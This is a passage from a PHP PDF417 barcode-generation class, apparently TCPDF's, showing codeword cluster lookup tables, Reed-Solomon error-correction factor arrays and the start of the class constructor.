0x1f366,0x1e6c4,0x1e242,0x1e6c2,0x1c4d0,0x1e26c,0x1cdd0,0x1c4c8,0x1e266,0x1cdc8, // 520 0x1e6e6,0x1cdc4,0x1c4c2,0x1cdc2,0x189d0,0x1c4ec,0x19bd0,0x189c8,0x1c4e6,0x19bc8, // 530 0x1cde6,0x19bc4,0x189c2,0x19bc2,0x113d0,0x189ec,0x137d0,0x113c8,0x189e6,0x137c8, // 540 0x19be6,0x137c4,0x113c2,0x137c2,0x113ec,0x137ec,0x113e6,0x137e6,0x1fba8,0x175f0, // 550 0x1bafc,0x1fba4,0x174f8,0x1ba7e,0x1fba2,0x1747c,0x1743e,0x1f328,0x1f996,0x132fc, // 560 0x1f768,0x1fbb6,0x176fc,0x1327e,0x1f764,0x1f322,0x1767e,0x1f762,0x1e228,0x1f116, // 570 0x1e668,0x1e224,0x1eee8,0x1f776,0x1e222,0x1eee4,0x1e662,0x1eee2,0x1c468,0x1e236, // 580 0x1cce8,0x1c464,0x1dde8,0x1cce4,0x1c462,0x1dde4,0x1cce2,0x1dde2,0x188e8,0x1c476, // 590 0x199e8,0x188e4,0x1bbe8,0x199e4,0x188e2,0x1bbe4,0x199e2,0x1bbe2,0x111e8,0x188f6, // 600 0x133e8,0x111e4,0x177e8,0x133e4,0x111e2,0x177e4,0x133e2,0x177e2,0x111f6,0x133f6, // 610 0x1fb94,0x172f8,0x1b97e,0x1fb92,0x1727c,0x1723e,0x1f314,0x1317e,0x1f734,0x1f312, // 620 0x1737e,0x1f732,0x1e214,0x1e634,0x1e212,0x1ee74,0x1e632,0x1ee72,0x1c434,0x1cc74, // 630 0x1c432,0x1dcf4,0x1cc72,0x1dcf2,0x18874,0x198f4,0x18872,0x1b9f4,0x198f2,0x1b9f2, // 640 0x110f4,0x131f4,0x110f2,0x173f4,0x131f2,0x173f2,0x1fb8a,0x1717c,0x1713e,0x1f30a, // 650 0x1f71a,0x1e20a,0x1e61a,0x1ee3a,0x1c41a,0x1cc3a,0x1dc7a,0x1883a,0x1987a,0x1b8fa, // 660 0x1107a,0x130fa,0x171fa,0x170be,0x1e150,0x1f0ac,0x1e148,0x1f0a6,0x1e144,0x1e142, // 670 0x1c2d0,0x1e16c,0x1c2c8,0x1e166,0x1c2c4,0x1c2c2,0x185d0,0x1c2ec,0x185c8,0x1c2e6, // 680 0x185c4,0x185c2,0x10bd0,0x185ec,0x10bc8,0x185e6,0x10bc4,0x10bc2,0x10bec,0x10be6, // 690 0x1f1a8,0x1f8d6,0x11afc,0x1f1a4,0x11a7e,0x1f1a2,0x1e128,0x1f096,0x1e368,0x1e124, // 700 0x1e364,0x1e122,0x1e362,0x1c268,0x1e136,0x1c6e8,0x1c264,0x1c6e4,0x1c262,0x1c6e2, // 710 0x184e8,0x1c276,0x18de8,0x184e4,0x18de4,0x184e2,0x18de2,0x109e8,0x184f6,0x11be8, // 720 0x109e4,0x11be4,0x109e2,0x11be2,0x109f6,0x11bf6,0x1f9d4,0x13af8,0x19d7e,0x1f9d2, // 730 0x13a7c,0x13a3e,0x1f194,0x1197e,0x1f3b4,0x1f192,0x13b7e,0x1f3b2,0x1e114,0x1e334, // 740 0x1e112,0x1e774,0x1e332,0x1e772,0x1c234,0x1c674,0x1c232,0x1cef4,0x1c672,0x1cef2, // 750 0x18474,0x18cf4,0x18472,0x19df4,0x18cf2,0x19df2,0x108f4,0x119f4,0x108f2,0x13bf4, // 760 0x119f2,0x13bf2,0x17af0,0x1bd7c,0x17a78,0x1bd3e,0x17a3c,0x17a1e,0x1f9ca,0x1397c, // 770 0x1fbda,0x17b7c,0x1393e,0x17b3e,0x1f18a,0x1f39a,0x1f7ba,0x1e10a,0x1e31a,0x1e73a, // 780 0x1ef7a,0x1c21a,0x1c63a,0x1ce7a,0x1defa,0x1843a,0x18c7a,0x19cfa,0x1bdfa,0x1087a, // 790 0x118fa,0x139fa,0x17978,0x1bcbe,0x1793c,0x1791e,0x138be,0x179be,0x178bc,0x1789e, // 800 0x1785e,0x1e0a8,0x1e0a4,0x1e0a2,0x1c168,0x1e0b6,0x1c164,0x1c162,0x182e8,0x1c176, // 810 0x182e4,0x182e2,0x105e8,0x182f6,0x105e4,0x105e2,0x105f6,0x1f0d4,0x10d7e,0x1f0d2, // 820 0x1e094,0x1e1b4,0x1e092,0x1e1b2,0x1c134,0x1c374,0x1c132,0x1c372,0x18274,0x186f4, // 830 0x18272,0x186f2,0x104f4,0x10df4,0x104f2,0x10df2,0x1f8ea,0x11d7c,0x11d3e,0x1f0ca, // 840 0x1f1da,0x1e08a,0x1e19a,0x1e3ba,0x1c11a,0x1c33a,0x1c77a,0x1823a,0x1867a,0x18efa, // 850 0x1047a,0x10cfa,0x11dfa,0x13d78,0x19ebe,0x13d3c,0x13d1e,0x11cbe,0x13dbe,0x17d70, // 860 0x1bebc,0x17d38,0x1be9e,0x17d1c,0x17d0e,0x13cbc,0x17dbc,0x13c9e,0x17d9e,0x17cb8, // 870 0x1be5e,0x17c9c,0x17c8e,0x13c5e,0x17cde,0x17c5c,0x17c4e,0x17c2e,0x1c0b4,0x1c0b2, // 880 0x18174,0x18172,0x102f4,0x102f2,0x1e0da,0x1c09a,0x1c1ba,0x1813a,0x1837a,0x1027a, // 890 0x106fa,0x10ebe,0x11ebc,0x11e9e,0x13eb8,0x19f5e,0x13e9c,0x13e8e,0x11e5e,0x13ede, // 900 0x17eb0,0x1bf5c,0x17e98,0x1bf4e,0x17e8c,0x17e86,0x13e5c,0x17edc,0x13e4e,0x17ece, // 910 0x17e58,0x1bf2e,0x17e4c,0x17e46,0x13e2e,0x17e6e,0x17e2c,0x17e26,0x10f5e,0x11f5c, // 920 0x11f4e,0x13f58,0x19fae,0x13f4c,0x13f46,0x11f2e,0x13f6e,0x13f2c,0x13f26), // 929 array( // cluster 6 ----------------------------------------------------------------------- 0x1abe0,0x1d5f8,0x153c0,0x1a9f0,0x1d4fc,0x151e0,0x1a8f8,0x1d47e,0x150f0,0x1a87c, // 10 0x15078,0x1fad0,0x15be0,0x1adf8,0x1fac8,0x159f0,0x1acfc,0x1fac4,0x158f8,0x1ac7e, // 20 0x1fac2,0x1587c,0x1f5d0,0x1faec,0x15df8,0x1f5c8,0x1fae6,0x15cfc,0x1f5c4,0x15c7e, // 30 0x1f5c2,0x1ebd0,0x1f5ec,0x1ebc8,0x1f5e6,0x1ebc4,0x1ebc2,0x1d7d0,0x1ebec,0x1d7c8, // 40 0x1ebe6,0x1d7c4,0x1d7c2,0x1afd0,0x1d7ec,0x1afc8,0x1d7e6,0x1afc4,0x14bc0,0x1a5f0, // 50 0x1d2fc,0x149e0,0x1a4f8,0x1d27e,0x148f0,0x1a47c,0x14878,0x1a43e,0x1483c,0x1fa68, // 60 0x14df0,0x1a6fc,0x1fa64,0x14cf8,0x1a67e,0x1fa62,0x14c7c,0x14c3e,0x1f4e8,0x1fa76, // 70 0x14efc,0x1f4e4,0x14e7e,0x1f4e2,0x1e9e8,0x1f4f6,0x1e9e4,0x1e9e2,0x1d3e8,0x1e9f6, // 80 0x1d3e4,0x1d3e2,0x1a7e8,0x1d3f6,0x1a7e4,0x1a7e2,0x145e0,0x1a2f8,0x1d17e,0x144f0, // 90 0x1a27c,0x14478,0x1a23e,0x1443c,0x1441e,0x1fa34,0x146f8,0x1a37e,0x1fa32,0x1467c, // 100 0x1463e,0x1f474,0x1477e,0x1f472,0x1e8f4,0x1e8f2,0x1d1f4,0x1d1f2,0x1a3f4,0x1a3f2, // 110 0x142f0,0x1a17c,0x14278,0x1a13e,0x1423c,0x1421e,0x1fa1a,0x1437c,0x1433e,0x1f43a, // 120 0x1e87a,0x1d0fa,0x14178,0x1a0be,0x1413c,0x1411e,0x141be,0x140bc,0x1409e,0x12bc0, // 130 0x195f0,0x1cafc,0x129e0,0x194f8,0x1ca7e,0x128f0,0x1947c,0x12878,0x1943e,0x1283c, // 140 0x1f968,0x12df0,0x196fc,0x1f964,0x12cf8,0x1967e,0x1f962,0x12c7c,0x12c3e,0x1f2e8, // 150 0x1f976,0x12efc,0x1f2e4,0x12e7e,0x1f2e2,0x1e5e8,0x1f2f6,0x1e5e4,0x1e5e2,0x1cbe8, // 160 0x1e5f6,0x1cbe4,0x1cbe2,0x197e8,0x1cbf6,0x197e4,0x197e2,0x1b5e0,0x1daf8,0x1ed7e, // 170 0x169c0,0x1b4f0,0x1da7c,0x168e0,0x1b478,0x1da3e,0x16870,0x1b43c,0x16838,0x1b41e, // 180 0x1681c,0x125e0,0x192f8,0x1c97e,0x16de0,0x124f0,0x1927c,0x16cf0,0x1b67c,0x1923e, // 190 0x16c78,0x1243c,0x16c3c,0x1241e,0x16c1e,0x1f934,0x126f8,0x1937e,0x1fb74,0x1f932, // 200 0x16ef8,0x1267c,0x1fb72,0x16e7c,0x1263e,0x16e3e,0x1f274,0x1277e,0x1f6f4,0x1f272, // 210 0x16f7e,0x1f6f2,0x1e4f4,0x1edf4,0x1e4f2,0x1edf2,0x1c9f4,0x1dbf4,0x1c9f2,0x1dbf2, // 220 0x193f4,0x193f2,0x165c0,0x1b2f0,0x1d97c,0x164e0,0x1b278,0x1d93e,0x16470,0x1b23c, // 230 0x16438,0x1b21e,0x1641c,0x1640e,0x122f0,0x1917c,0x166f0,0x12278,0x1913e,0x16678, // 240 0x1b33e,0x1663c,0x1221e,0x1661e,0x1f91a,0x1237c,0x1fb3a,0x1677c,0x1233e,0x1673e, // 250 0x1f23a,0x1f67a,0x1e47a,0x1ecfa,0x1c8fa,0x1d9fa,0x191fa,0x162e0,0x1b178,0x1d8be, // 260 0x16270,0x1b13c,0x16238,0x1b11e,0x1621c,0x1620e,0x12178,0x190be,0x16378,0x1213c, // 270 0x1633c,0x1211e,0x1631e,0x121be,0x163be,0x16170,0x1b0bc,0x16138,0x1b09e,0x1611c, // 280 0x1610e,0x120bc,0x161bc,0x1209e,0x1619e,0x160b8,0x1b05e,0x1609c,0x1608e,0x1205e, // 290 0x160de,0x1605c,0x1604e,0x115e0,0x18af8,0x1c57e,0x114f0,0x18a7c,0x11478,0x18a3e, // 300 0x1143c,0x1141e,0x1f8b4,0x116f8,0x18b7e,0x1f8b2,0x1167c,0x1163e,0x1f174,0x1177e, // 310 0x1f172,0x1e2f4,0x1e2f2,0x1c5f4,0x1c5f2,0x18bf4,0x18bf2,0x135c0,0x19af0,0x1cd7c, // 320 0x134e0,0x19a78,0x1cd3e,0x13470,0x19a3c,0x13438,0x19a1e,0x1341c,0x1340e,0x112f0, // 330 0x1897c,0x136f0,0x11278,0x1893e,0x13678,0x19b3e,0x1363c,0x1121e,0x1361e,0x1f89a, // 340 0x1137c,0x1f9ba,0x1377c,0x1133e,0x1373e,0x1f13a,0x1f37a,0x1e27a,0x1e6fa,0x1c4fa, // 350 0x1cdfa,0x189fa,0x1bae0,0x1dd78,0x1eebe,0x174c0,0x1ba70,0x1dd3c,0x17460,0x1ba38, // 360 0x1dd1e,0x17430,0x1ba1c,0x17418,0x1ba0e,0x1740c,0x132e0,0x19978,0x1ccbe,0x176e0, // 370 0x13270,0x1993c,0x17670,0x1bb3c,0x1991e,0x17638,0x1321c,0x1761c,0x1320e,0x1760e, // 380 0x11178,0x188be,0x13378,0x1113c,0x17778,0x1333c,0x1111e,0x1773c,0x1331e,0x1771e, // 390 0x111be,0x133be,0x177be,0x172c0,0x1b970,0x1dcbc,0x17260,0x1b938,0x1dc9e,0x17230, // 400 0x1b91c,0x17218,0x1b90e,0x1720c,0x17206,0x13170,0x198bc,0x17370,0x13138,0x1989e, // 410 0x17338,0x1b99e,0x1731c,0x1310e,0x1730e,0x110bc,0x131bc,0x1109e,0x173bc,0x1319e, // 420 0x1739e,0x17160,0x1b8b8,0x1dc5e,0x17130,0x1b89c,0x17118,0x1b88e,0x1710c,0x17106, // 430 0x130b8,0x1985e,0x171b8,0x1309c,0x1719c,0x1308e,0x1718e,0x1105e,0x130de,0x171de, // 440 0x170b0,0x1b85c,0x17098,0x1b84e,0x1708c,0x17086,0x1305c,0x170dc,0x1304e,0x170ce, // 450 0x17058,0x1b82e,0x1704c,0x17046,0x1302e,0x1706e,0x1702c,0x17026,0x10af0,0x1857c, // 460 0x10a78,0x1853e,0x10a3c,0x10a1e,0x10b7c,0x10b3e,0x1f0ba,0x1e17a,0x1c2fa,0x185fa, // 470 0x11ae0,0x18d78,0x1c6be,0x11a70,0x18d3c,0x11a38,0x18d1e,0x11a1c,0x11a0e,0x10978, // 480 0x184be,0x11b78,0x1093c,0x11b3c,0x1091e,0x11b1e,0x109be,0x11bbe,0x13ac0,0x19d70, // 490 0x1cebc,0x13a60,0x19d38,0x1ce9e,0x13a30,0x19d1c,0x13a18,0x19d0e,0x13a0c,0x13a06, // 500 0x11970,0x18cbc,0x13b70,0x11938,0x18c9e,0x13b38,0x1191c,0x13b1c,0x1190e,0x13b0e, // 510 0x108bc,0x119bc,0x1089e,0x13bbc,0x1199e,0x13b9e,0x1bd60,0x1deb8,0x1ef5e,0x17a40, // 520 0x1bd30,0x1de9c,0x17a20,0x1bd18,0x1de8e,0x17a10,0x1bd0c,0x17a08,0x1bd06,0x17a04, // 530 0x13960,0x19cb8,0x1ce5e,0x17b60,0x13930,0x19c9c,0x17b30,0x1bd9c,0x19c8e,0x17b18, // 540 0x1390c,0x17b0c,0x13906,0x17b06,0x118b8,0x18c5e,0x139b8,0x1189c,0x17bb8,0x1399c, // 550 0x1188e,0x17b9c,0x1398e,0x17b8e,0x1085e,0x118de,0x139de,0x17bde,0x17940,0x1bcb0, // 560 0x1de5c,0x17920,0x1bc98,0x1de4e,0x17910,0x1bc8c,0x17908,0x1bc86,0x17904,0x17902, // 570 0x138b0,0x19c5c,0x179b0,0x13898,0x19c4e,0x17998,0x1bcce,0x1798c,0x13886,0x17986, // 580 0x1185c,0x138dc,0x1184e,0x179dc,0x138ce,0x179ce,0x178a0,0x1bc58,0x1de2e,0x17890, // 590 0x1bc4c,0x17888,0x1bc46,0x17884,0x17882,0x13858,0x19c2e,0x178d8,0x1384c,0x178cc, // 600 0x13846,0x178c6,0x1182e,0x1386e,0x178ee,0x17850,0x1bc2c,0x17848,0x1bc26,0x17844, // 610 0x17842,0x1382c,0x1786c,0x13826,0x17866,0x17828,0x1bc16,0x17824,0x17822,0x13816, // 620 0x17836,0x10578,0x182be,0x1053c,0x1051e,0x105be,0x10d70,0x186bc,0x10d38,0x1869e, // 630 0x10d1c,0x10d0e,0x104bc,0x10dbc,0x1049e,0x10d9e,0x11d60,0x18eb8,0x1c75e,0x11d30, // 640 0x18e9c,0x11d18,0x18e8e,0x11d0c,0x11d06,0x10cb8,0x1865e,0x11db8,0x10c9c,0x11d9c, // 650 0x10c8e,0x11d8e,0x1045e,0x10cde,0x11dde,0x13d40,0x19eb0,0x1cf5c,0x13d20,0x19e98, // 660 0x1cf4e,0x13d10,0x19e8c,0x13d08,0x19e86,0x13d04,0x13d02,0x11cb0,0x18e5c,0x13db0, // 670 0x11c98,0x18e4e,0x13d98,0x19ece,0x13d8c,0x11c86,0x13d86,0x10c5c,0x11cdc,0x10c4e, // 680 0x13ddc,0x11cce,0x13dce,0x1bea0,0x1df58,0x1efae,0x1be90,0x1df4c,0x1be88,0x1df46, // 690 0x1be84,0x1be82,0x13ca0,0x19e58,0x1cf2e,0x17da0,0x13c90,0x19e4c,0x17d90,0x1becc, // 700 0x19e46,0x17d88,0x13c84,0x17d84,0x13c82,0x17d82,0x11c58,0x18e2e,0x13cd8,0x11c4c, // 710 0x17dd8,0x13ccc,0x11c46,0x17dcc,0x13cc6,0x17dc6,0x10c2e,0x11c6e,0x13cee,0x17dee, // 720 0x1be50,0x1df2c,0x1be48,0x1df26,0x1be44,0x1be42,0x13c50,0x19e2c,0x17cd0,0x13c48, // 730 0x19e26,0x17cc8,0x1be66,0x17cc4,0x13c42,0x17cc2,0x11c2c,0x13c6c,0x11c26,0x17cec, // 740 0x13c66,0x17ce6,0x1be28,0x1df16,0x1be24,0x1be22,0x13c28,0x19e16,0x17c68,0x13c24, // 750 0x17c64,0x13c22,0x17c62,0x11c16,0x13c36,0x17c76,0x1be14,0x1be12,0x13c14,0x17c34, // 760 0x13c12,0x17c32,0x102bc,0x1029e,0x106b8,0x1835e,0x1069c,0x1068e,0x1025e,0x106de, // 770 0x10eb0,0x1875c,0x10e98,0x1874e,0x10e8c,0x10e86,0x1065c,0x10edc,0x1064e,0x10ece, // 780 0x11ea0,0x18f58,0x1c7ae,0x11e90,0x18f4c,0x11e88,0x18f46,0x11e84,0x11e82,0x10e58, // 790 0x1872e,0x11ed8,0x18f6e,0x11ecc,0x10e46,0x11ec6,0x1062e,0x10e6e,0x11eee,0x19f50, // 800 0x1cfac,0x19f48,0x1cfa6,0x19f44,0x19f42,0x11e50,0x18f2c,0x13ed0,0x19f6c,0x18f26, // 810 0x13ec8,0x11e44,0x13ec4,0x11e42,0x13ec2,0x10e2c,0x11e6c,0x10e26,0x13eec,0x11e66, // 820 0x13ee6,0x1dfa8,0x1efd6,0x1dfa4,0x1dfa2,0x19f28,0x1cf96,0x1bf68,0x19f24,0x1bf64, // 830 0x19f22,0x1bf62,0x11e28,0x18f16,0x13e68,0x11e24,0x17ee8,0x13e64,0x11e22,0x17ee4, // 840 0x13e62,0x17ee2,0x10e16,0x11e36,0x13e76,0x17ef6,0x1df94,0x1df92,0x19f14,0x1bf34, // 850 0x19f12,0x1bf32,0x11e14,0x13e34,0x11e12,0x17e74,0x13e32,0x17e72,0x1df8a,0x19f0a, // 860 0x1bf1a,0x11e0a,0x13e1a,0x17e3a,0x1035c,0x1034e,0x10758,0x183ae,0x1074c,0x10746, // 870 0x1032e,0x1076e,0x10f50,0x187ac,0x10f48,0x187a6,0x10f44,0x10f42,0x1072c,0x10f6c, // 880 0x10726,0x10f66,0x18fa8,0x1c7d6,0x18fa4,0x18fa2,0x10f28,0x18796,0x11f68,0x18fb6, // 890 0x11f64,0x10f22,0x11f62,0x10716,0x10f36,0x11f76,0x1cfd4,0x1cfd2,0x18f94,0x19fb4, // 900 0x18f92,0x19fb2,0x10f14,0x11f34,0x10f12,0x13f74,0x11f32,0x13f72,0x1cfca,0x18f8a, // 910 0x19f9a,0x10f0a,0x11f1a,0x13f3a,0x103ac,0x103a6,0x107a8,0x183d6,0x107a4,0x107a2, // 920 0x10396,0x107b6,0x187d4,0x187d2,0x10794,0x10fb4,0x10792,0x10fb2,0x1c7ea) // 929 ); // end of $clusters array /** * Array of factors of the Reed-Solomon polynomial equations used for error correction; one sub array for each correction level (0-8). * @protected */ protected $rsfactors = array( array( // ECL 0 (2 factors) ------------------------------------------------------------------------------- 0x01b,0x395), // 2 array( // ECL 1 (4 factors) ------------------------------------------------------------------------------- 0x20a,0x238,0x2d3,0x329), // 4 array( // ECL 2 (8 factors) ------------------------------------------------------------------------------- 0x0ed,0x134,0x1b4,0x11c,0x286,0x28d,0x1ac,0x17b), // 8 array( // ECL 3 (16 factors) ------------------------------------------------------------------------------ 0x112,0x232,0x0e8,0x2f3,0x257,0x20c,0x321,0x084,0x127,0x074,0x1ba,0x1ac,0x127,0x02a,0x0b0,0x041),// 16 array( // ECL 4 (32 factors) ------------------------------------------------------------------------------ 0x169,0x23f,0x39a,0x20d,0x0b0,0x24a,0x280,0x141,0x218,0x2e6,0x2a5,0x2e6,0x2af,0x11c,0x0c1,0x205, // 16 0x111,0x1ee,0x107,0x093,0x251,0x320,0x23b,0x140,0x323,0x085,0x0e7,0x186,0x2ad,0x14a,0x03f,0x19a),// 32 array( // ECL 5 (64 factors) ------------------------------------------------------------------------------ 0x21b,0x1a6,0x006,0x05d,0x35e,0x303,0x1c5,0x06a,0x262,0x11f,0x06b,0x1f9,0x2dd,0x36d,0x17d,0x264, // 16 0x2d3,0x1dc,0x1ce,0x0ac,0x1ae,0x261,0x35a,0x336,0x21f,0x178,0x1ff,0x190,0x2a0,0x2fa,0x11b,0x0b8, // 32 0x1b8,0x023,0x207,0x01f,0x1cc,0x252,0x0e1,0x217,0x205,0x160,0x25d,0x09e,0x28b,0x0c9,0x1e8,0x1f6, // 48 0x288,0x2dd,0x2cd,0x053,0x194,0x061,0x118,0x303,0x348,0x275,0x004,0x17d,0x34b,0x26f,0x108,0x21f),// 64 array( // ECL 6 (128 factors) ----------------------------------------------------------------------------- 0x209,0x136,0x360,0x223,0x35a,0x244,0x128,0x17b,0x035,0x30b,0x381,0x1bc,0x190,0x39d,0x2ed,0x19f, // 16 0x336,0x05d,0x0d9,0x0d0,0x3a0,0x0f4,0x247,0x26c,0x0f6,0x094,0x1bf,0x277,0x124,0x38c,0x1ea,0x2c0, // 32 0x204,0x102,0x1c9,0x38b,0x252,0x2d3,0x2a2,0x124,0x110,0x060,0x2ac,0x1b0,0x2ae,0x25e,0x35c,0x239, // 48 0x0c1,0x0db,0x081,0x0ba,0x0ec,0x11f,0x0c0,0x307,0x116,0x0ad,0x028,0x17b,0x2c8,0x1cf,0x286,0x308, // 64 0x0ab,0x1eb,0x129,0x2fb,0x09c,0x2dc,0x05f,0x10e,0x1bf,0x05a,0x1fb,0x030,0x0e4,0x335,0x328,0x382, // 80 0x310,0x297,0x273,0x17a,0x17e,0x106,0x17c,0x25a,0x2f2,0x150,0x059,0x266,0x057,0x1b0,0x29e,0x268, // 96 0x09d,0x176,0x0f2,0x2d6,0x258,0x10d,0x177,0x382,0x34d,0x1c6,0x162,0x082,0x32e,0x24b,0x324,0x022, // 112 0x0d3,0x14a,0x21b,0x129,0x33b,0x361,0x025,0x205,0x342,0x13b,0x226,0x056,0x321,0x004,0x06c,0x21b),// 128 array( // ECL 7 (256 factors) ----------------------------------------------------------------------------- 0x20c,0x37e,0x04b,0x2fe,0x372,0x359,0x04a,0x0cc,0x052,0x24a,0x2c4,0x0fa,0x389,0x312,0x08a,0x2d0, // 16 0x35a,0x0c2,0x137,0x391,0x113,0x0be,0x177,0x352,0x1b6,0x2dd,0x0c2,0x118,0x0c9,0x118,0x33c,0x2f5, // 32 0x2c6,0x32e,0x397,0x059,0x044,0x239,0x00b,0x0cc,0x31c,0x25d,0x21c,0x391,0x321,0x2bc,0x31f,0x089, // 48 0x1b7,0x1a2,0x250,0x29c,0x161,0x35b,0x172,0x2b6,0x145,0x0f0,0x0d8,0x101,0x11c,0x225,0x0d1,0x374, // 64 0x13b,0x046,0x149,0x319,0x1ea,0x112,0x36d,0x0a2,0x2ed,0x32c,0x2ac,0x1cd,0x14e,0x178,0x351,0x209, // 80 0x133,0x123,0x323,0x2c8,0x013,0x166,0x18f,0x38c,0x067,0x1ff,0x033,0x008,0x205,0x0e1,0x121,0x1d6, // 96 0x27d,0x2db,0x042,0x0ff,0x395,0x10d,0x1cf,0x33e,0x2da,0x1b1,0x350,0x249,0x088,0x21a,0x38a,0x05a, // 112 0x002,0x122,0x2e7,0x0c7,0x28f,0x387,0x149,0x031,0x322,0x244,0x163,0x24c,0x0bc,0x1ce,0x00a,0x086, // 128 0x274,0x140,0x1df,0x082,0x2e3,0x047,0x107,0x13e,0x176,0x259,0x0c0,0x25d,0x08e,0x2a1,0x2af,0x0ea, // 144 0x2d2,0x180,0x0b1,0x2f0,0x25f,0x280,0x1c7,0x0c1,0x2b1,0x2c3,0x325,0x281,0x030,0x03c,0x2dc,0x26d, // 160 0x37f,0x220,0x105,0x354,0x28f,0x135,0x2b9,0x2f3,0x2f4,0x03c,0x0e7,0x305,0x1b2,0x1a5,0x2d6,0x210, // 176 0x1f7,0x076,0x031,0x31b,0x020,0x090,0x1f4,0x0ee,0x344,0x18a,0x118,0x236,0x13f,0x009,0x287,0x226, // 192 0x049,0x392,0x156,0x07e,0x020,0x2a9,0x14b,0x318,0x26c,0x03c,0x261,0x1b9,0x0b4,0x317,0x37d,0x2f2, // 208 0x25d,0x17f,0x0e4,0x2ed,0x2f8,0x0d5,0x036,0x129,0x086,0x036,0x342,0x12b,0x39a,0x0bf,0x38e,0x214, // 224 0x261,0x33d,0x0bd,0x014,0x0a7,0x01d,0x368,0x1c1,0x053,0x192,0x029,0x290,0x1f9,0x243,0x1e1,0x0ad, // 240 0x194,0x0fb,0x2b0,0x05f,0x1f1,0x22b,0x282,0x21f,0x133,0x09f,0x39c,0x22e,0x288,0x037,0x1f1,0x00a),// 256 array( // ECL 8 (512 factors) ----------------------------------------------------------------------------- 0x160,0x04d,0x175,0x1f8,0x023,0x257,0x1ac,0x0cf,0x199,0x23e,0x076,0x1f2,0x11d,0x17c,0x15e,0x1ec, // 16 0x0c5,0x109,0x398,0x09b,0x392,0x12b,0x0e5,0x283,0x126,0x367,0x132,0x058,0x057,0x0c1,0x160,0x30d, // 32 0x34e,0x04b,0x147,0x208,0x1b3,0x21f,0x0cb,0x29a,0x0f9,0x15a,0x30d,0x26d,0x280,0x10c,0x31a,0x216, // 48 0x21b,0x30d,0x198,0x186,0x284,0x066,0x1dc,0x1f3,0x122,0x278,0x221,0x025,0x35a,0x394,0x228,0x029, // 64 0x21e,0x121,0x07a,0x110,0x17f,0x320,0x1e5,0x062,0x2f0,0x1d8,0x2f9,0x06b,0x310,0x35c,0x292,0x2e5, // 80 0x122,0x0cc,0x2a9,0x197,0x357,0x055,0x063,0x03e,0x1e2,0x0b4,0x014,0x129,0x1c3,0x251,0x391,0x08e, // 96 0x328,0x2ac,0x11f,0x218,0x231,0x04c,0x28d,0x383,0x2d9,0x237,0x2e8,0x186,0x201,0x0c0,0x204,0x102, // 112 0x0f0,0x206,0x31a,0x18b,0x300,0x350,0x033,0x262,0x180,0x0a8,0x0be,0x33a,0x148,0x254,0x312,0x12f, // 128 0x23a,0x17d,0x19f,0x281,0x09c,0x0ed,0x097,0x1ad,0x213,0x0cf,0x2a4,0x2c6,0x059,0x0a8,0x130,0x192, // 144 0x028,0x2c4,0x23f,0x0a2,0x360,0x0e5,0x041,0x35d,0x349,0x200,0x0a4,0x1dd,0x0dd,0x05c,0x166,0x311, // 160 0x120,0x165,0x352,0x344,0x33b,0x2e0,0x2c3,0x05e,0x008,0x1ee,0x072,0x209,0x002,0x1f3,0x353,0x21f, // 176 0x098,0x2d9,0x303,0x05f,0x0f8,0x169,0x242,0x143,0x358,0x31d,0x121,0x033,0x2ac,0x1d2,0x215,0x334, // 192 0x29d,0x02d,0x386,0x1c4,0x0a7,0x156,0x0f4,0x0ad,0x023,0x1cf,0x28b,0x033,0x2bb,0x24f,0x1c4,0x242, // 208 0x025,0x07c,0x12a,0x14c,0x228,0x02b,0x1ab,0x077,0x296,0x309,0x1db,0x352,0x2fc,0x16c,0x242,0x38f, // 224 0x11b,0x2c7,0x1d8,0x1a4,0x0f5,0x120,0x252,0x18a,0x1ff,0x147,0x24d,0x309,0x2bb,0x2b0,0x02b,0x198, // 240 0x34a,0x17f,0x2d1,0x209,0x230,0x284,0x2ca,0x22f,0x03e,0x091,0x369,0x297,0x2c9,0x09f,0x2a0,0x2d9, // 256 0x270,0x03b,0x0c1,0x1a1,0x09e,0x0d1,0x233,0x234,0x157,0x2b5,0x06d,0x260,0x233,0x16d,0x0b5,0x304, // 272 0x2a5,0x136,0x0f8,0x161,0x2c4,0x19a,0x243,0x366,0x269,0x349,0x278,0x35c,0x121,0x218,0x023,0x309, // 288 0x26a,0x24a,0x1a8,0x341,0x04d,0x255,0x15a,0x10d,0x2f5,0x278,0x2b7,0x2ef,0x14b,0x0f7,0x0b8,0x02d, // 304 0x313,0x2a8,0x012,0x042,0x197,0x171,0x036,0x1ec,0x0e4,0x265,0x33e,0x39a,0x1b5,0x207,0x284,0x389, // 320 0x315,0x1a4,0x131,0x1b9,0x0cf,0x12c,0x37c,0x33b,0x08d,0x219,0x17d,0x296,0x201,0x038,0x0fc,0x155, // 336 0x0f2,0x31d,0x346,0x345,0x2d0,0x0e0,0x133,0x277,0x03d,0x057,0x230,0x136,0x2f4,0x299,0x18d,0x328, // 352 0x353,0x135,0x1d9,0x31b,0x17a,0x01f,0x287,0x393,0x1cb,0x326,0x24e,0x2db,0x1a9,0x0d8,0x224,0x0f9, // 368 0x141,0x371,0x2bb,0x217,0x2a1,0x30e,0x0d2,0x32f,0x389,0x12f,0x34b,0x39a,0x119,0x049,0x1d5,0x317, // 384 0x294,0x0a2,0x1f2,0x134,0x09b,0x1a6,0x38b,0x331,0x0bb,0x03e,0x010,0x1a9,0x217,0x150,0x11e,0x1b5, // 400 0x177,0x111,0x262,0x128,0x0b7,0x39b,0x074,0x29b,0x2ef,0x161,0x03e,0x16e,0x2b3,0x17b,0x2af,0x34a, // 416 0x025,0x165,0x2d0,0x2e6,0x14a,0x005,0x027,0x39b,0x137,0x1a8,0x0f2,0x2ed,0x141,0x036,0x29d,0x13c, // 432 0x156,0x12b,0x216,0x069,0x29b,0x1e8,0x280,0x2a0,0x240,0x21c,0x13c,0x1e6,0x2d1,0x262,0x02e,0x290, // 448 0x1bf,0x0ab,0x268,0x1d0,0x0be,0x213,0x129,0x141,0x2fa,0x2f0,0x215,0x0af,0x086,0x00e,0x17d,0x1b1, // 464 0x2cd,0x02d,0x06f,0x014,0x254,0x11c,0x2e0,0x08a,0x286,0x19b,0x36d,0x29d,0x08d,0x397,0x02d,0x30c, // 480 0x197,0x0a4,0x14c,0x383,0x0a5,0x2d6,0x258,0x145,0x1f2,0x28f,0x165,0x2f0,0x300,0x0df,0x351,0x287, // 496 0x03f,0x136,0x35f,0x0fb,0x16e,0x130,0x11a,0x2e2,0x2a3,0x19a,0x185,0x0f4,0x01f,0x079,0x12f,0x107) // 512 ); /** * This is the class constructor. * Creates a PDF417 object * @param $code (string) code to represent using PDF417 * @param $ecl (int) error correction level (0-8); default -1 = automatic correction level * @param $aspectratio (float) the width to height of the symbol (excluding quiet zones) * @param $macro (array) information for macro block * @public */ public function __construct($code, $ecl=-1, 